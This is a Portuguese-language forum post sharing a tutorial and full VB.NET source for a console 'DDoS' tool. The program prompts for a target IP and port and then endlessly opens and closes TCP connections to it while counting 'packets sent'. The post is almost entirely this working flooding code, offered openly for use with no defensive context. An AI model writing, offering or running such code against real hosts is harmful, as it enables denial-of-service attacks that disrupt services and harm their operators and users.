Criando DDoS em Console no VB 2010

[ThatoHenrique 0]

Bom não vida nada relacionado a isso aqui caso tenha me desculpe não achei mais estou disponibilizando este tutorial "DDoS em Console" é simples mais ta ai :P

 

[video=youtube;_-iKwqzzERY]

 

Codigo:

Imports System.Net

Imports System.Net.Sockets

Module Module1

 

Sub Main()

Console.ForegroundColor = ConsoleColor.DarkCyan

Console.WriteLine("***************************")

Console.ForegroundColor = ConsoleColor.Cyan

Console.WriteLine("****     IP DDoS V.1 ****")

Console.WriteLine("****Code DDoS Created****")

Console.WriteLine("****By Thato Henrique****")

Console.ForegroundColor = ConsoleColor.DarkCyan

Console.WriteLine("***************************")

Console.ForegroundColor = ConsoleColor.White

Console.WriteLine("IP:")

Dim ip As String = Console.ReadLine

Console.WriteLine("PORTA:")

Dim porta As Integer = Console.ReadLine

Dim x As Integer

Do

Try

Dim iep As IPEndPoint

iep = New IPEndPoint(IPAddress.Parse(ip), Convert.ToInt32(porta)) 'target

Dim s As Socket = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)

s.Connect(iep)

s.Close()

x += 1

 

Console.WriteLine("Pacotes Enviados: " & x)

Catch ex As Exception

Console.ForegroundColor = ConsoleColor.Red

Console.WriteLine("Pacotes Enviados: " & x)

End Try

Loop

End Sub

End Module